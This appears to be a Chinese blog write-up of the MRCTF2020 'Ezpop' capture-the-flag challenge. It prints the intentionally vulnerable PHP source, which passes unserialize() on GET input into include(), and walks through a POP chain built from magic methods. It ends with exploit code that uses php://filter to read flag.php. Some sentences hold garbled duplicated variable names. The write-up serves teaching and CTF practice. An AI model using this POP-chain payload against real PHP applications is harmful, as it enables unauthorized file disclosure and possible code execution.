当前位置: 首页 > 工具软件 > Pop php > 使用案例 >

[MRCTF2020]Ezpop|PHP反序列化|POP链

慕光霁
2023-12-01

BUUctf有现成环境,这里附上题目链接,也可以在BUU直接搜索

涉及PHP魔术方法

__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值 
__wakeup() 使用unserialize()时自动触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__get() 用于从不可访问的属性(私有或不存在)读取数据

题目分析

//先看下题目给的源码
//要想办法获取到flag.php
class Modifier {
    protected  $var;
    public function append($value){ //定义了方法append,传参value
        include($value); //用include可以进行文件包含
    }
    public function __invoke(){//__invoke 将对象当作函数调用时会自动执行
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){ //构造函数 传入一个字符串参数
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){//__toString 将对象当成字符串使用时会自动执行
        return $this->str->source; 
    }

    public function __wakeup(){//反序列化时自动执行
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){ //从不可访问属性获取数据时自动执行 包括private protected和不存在的属性
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']); //反序列化GET提交的pop
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

大概看了源码,根据要求需要读取到flag.php的内容,分析下现在拥有的条件

  1. 获取到flag.php

  2. 需要给pop参数构造一串字符串,在反序列化后能够得到flag.php

  3. 现在明显能够用来构造的有三个类,类中设置的变量都是能够人为控制的( v a r , var, var,source, s t r , str, str,p)

分析隐含的逻辑(接下来的这段文字请边参照源代码边阅读)

需要读取到flag文件,在上面代码中就只有include能包含文件,也就是要调用append方法,也就是要有一个modifier的实例化对象(假设为对象M)被当作函数调用,这样才能使__invoke方法自动执行;

查看代码,符合条件的就是Test类下的__get方法,能将其中的p变量作为函数执行,那么假设Test类实例化对象为T,则T对象的p属性就得是对象M。当然这里还需要让T对象访问一个不可访问变量(这里没有私有属性,那就需要访问未初始化的属性),现在总共四个可以操作的变量, v a r 要 作 为 文 件 包 含 路 径 , var要作为文件包含路径, varp已使用,就剩下Show类里的 s o u r c e 和 source和 sourcestr,那就来仔细看看Show,只有toString方法可以操作。将$str设为T对象,这样在toString方法中就可以用T调用source,但是T中不存在source,就可以自动执行get方法了。那么接下来就需要让toString执行,而toString的执行需要Show的对象被当作字符串使用,这里有两个条件可以被关联在一起

  1. $source 在show的构造方法中是作为字符串使用的
  2. 正好$source 还未使用,而file是构造方法的一个参数,会赋值给source

那么我们可以将show的对象传给source,因此需要new一个show对象(show2),传递参数show对象(show1,将传给source作为字符串使用)

解题

构造代码如下

/**
1.M T
2.T->p = M
3.$show1->str = T
4.$show2 = new Show($show1)
**/
<?php
	
    class Modifier {
   		protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';//这里使用伪协议,可以读取出完整的文件
	}

	class Show{
        public $source;
        public $str;
    	public function __construct($file){
    $this->source = $file;
    }
   
	}

	class Test{
   		public $p;
    
	}
	$M = new Modifier();
	$T = new Test();
	
	$show1 = new Show('a');
	$show1->str = $T;
	$T->p = $M;
	$show2 = new Show($show1);
	
	$pyl = urlencode(serialize($show2));
    echo $pyl;


?>

总结关键词

  1. include 可以包含PHP伪协议
  2. PHP魔术方法(magic methods)
  3. POP chain(POP链)
 类似资料: